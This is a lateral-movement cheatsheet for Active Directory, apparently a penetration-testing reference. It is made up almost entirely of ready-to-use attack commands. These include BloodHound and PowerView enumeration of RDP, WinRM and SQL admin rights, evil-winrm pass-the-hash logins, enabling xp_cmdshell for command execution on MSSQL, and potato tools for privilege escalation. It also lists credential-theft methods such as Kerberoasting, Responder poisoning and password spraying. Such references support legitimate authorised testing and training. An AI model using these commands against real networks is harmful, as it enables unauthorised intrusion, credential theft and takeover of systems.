Lateral Movement Cheatsheet
Quick reference for enumerating and exploiting RDP, WinRM, and MSSQL access in AD environments.
Enumeration
BloodHound
| Edge | Meaning |
|---|---|
CanRDP | User can RDP to the host |
CanPSRemote | User can WinRM/PSRemote to the host |
SQLAdmin | User has sysadmin on a SQL Server instance |
Pre-built queries:
- “Find Workstations where Domain Users can RDP”
- “Find Servers where Domain Users can RDP”
Custom Cypher queries:
-- WinRM users
MATCH p1=shortestPath((u1:User)-[r1:MemberOf*1..]->(g1:Group)) MATCH p2=(u1)-[:CanPSRemote*1..]->(c:Computer) RETURN p2
-- SQL Admin users
MATCH p1=shortestPath((u1:User)-[r1:MemberOf*1..]->(g1:Group)) MATCH p2=(u1)-[:SQLAdmin*1..]->(c:Computer) RETURN p2
PowerView
# RDP access
Get-NetLocalGroupMember -ComputerName <HOST> -GroupName "Remote Desktop Users"
# WinRM access
Get-NetLocalGroupMember -ComputerName <HOST> -GroupName "Remote Management Users"
RDP
# Linux
xfreerdp /v:<TARGET> /u:DOMAIN\\user /p:'password' /cert-ignore
# Windows
mstsc.exe /v:<TARGET>
WinRM
From Windows
$password = ConvertTo-SecureString "<PASS>" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("DOMAIN\user", $password)
Enter-PSSession -ComputerName <HOST> -Credential $cred
From Linux (evil-winrm)
# With password
evil-winrm -i <TARGET> -u user -p 'password'
# With NTLM hash
evil-winrm -i <TARGET> -u user -H <NTLM_HASH>
# With scripts/executables directory
evil-winrm -i <TARGET> -u user -p 'password' -s /path/to/scripts -e /path/to/exes
MSSQL
Enumerate Instances (PowerUpSQL — Windows)
Import-Module .\PowerUpSQL.ps1
Get-SQLInstanceDomain
Query (PowerUpSQL — Windows)
Get-SQLQuery -Verbose -Instance "<IP>,1433" -username "domain\user" -password "pass" -query 'Select @@version'
Connect (mssqlclient.py — Linux)
mssqlclient.py DOMAIN/USER@<TARGET> -windows-auth
Enable Command Execution
SQL> enable_xp_cmdshell
SQL> xp_cmdshell whoami /priv
SQL> xp_cmdshell ipconfig
Privilege Escalation
If SeImpersonatePrivilege is enabled (almost always for SQL service accounts):
| Tool | Target OS |
|---|---|
| JuicyPotato | Windows Server 2016 and earlier |
| PrintSpoofer | Windows Server 2019+ |
| RoguePotato | Windows Server 2019+ |
Finding SQL Credentials
| Source | Tool |
|---|---|
| SPN accounts (Kerberoasting) | GetUserSPNs.py, Rubeus |
| File shares (web.config, connection strings) | Snaffler |
| LLMNR/NBT-NS poisoning | Responder |
| Password spraying | CrackMapExec, Kerbrute |
Kerberos Double Hop (WinRM)
WinRM doesn’t cache credentials — second-hop authentication fails. Use one of these workarounds:
PSCredential Object (evil-winrm or Enter-PSSession)
$SecPassword = ConvertTo-SecureString '<PASS>' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\user', $SecPassword)
# Pass -Credential on every command that hits a second resource
Get-DomainUser -spn -Credential $Cred
Register PSSession Configuration (Windows GUI only)
# Register and restart
Register-PSSessionConfiguration -Name mysess -RunAsCredential DOMAIN\user
Restart-Service WinRM
# Reconnect with named config
Enter-PSSession -ComputerName <HOST> -Credential DOMAIN\user -ConfigurationName mysess
| Method | Works From | Notes |
|---|---|---|
PSCredential -Credential | evil-winrm, Enter-PSSession | Must pass on every command |
| Register-PSSessionConfiguration | Windows GUI (elevated PS) | Caches TGT, no per-command creds |
| RDP / PSExec | N/A | Not affected by double hop |
Quick Checklist
After gaining each new account, check:
- Local admin on any host? (Pass-the-Hash)
- RDP access? (CanRDP / Remote Desktop Users)
- WinRM access? (CanPSRemote / Remote Management Users)
- SQL Admin access? (SQLAdmin edge)
- Any SQL credentials in configs/shares?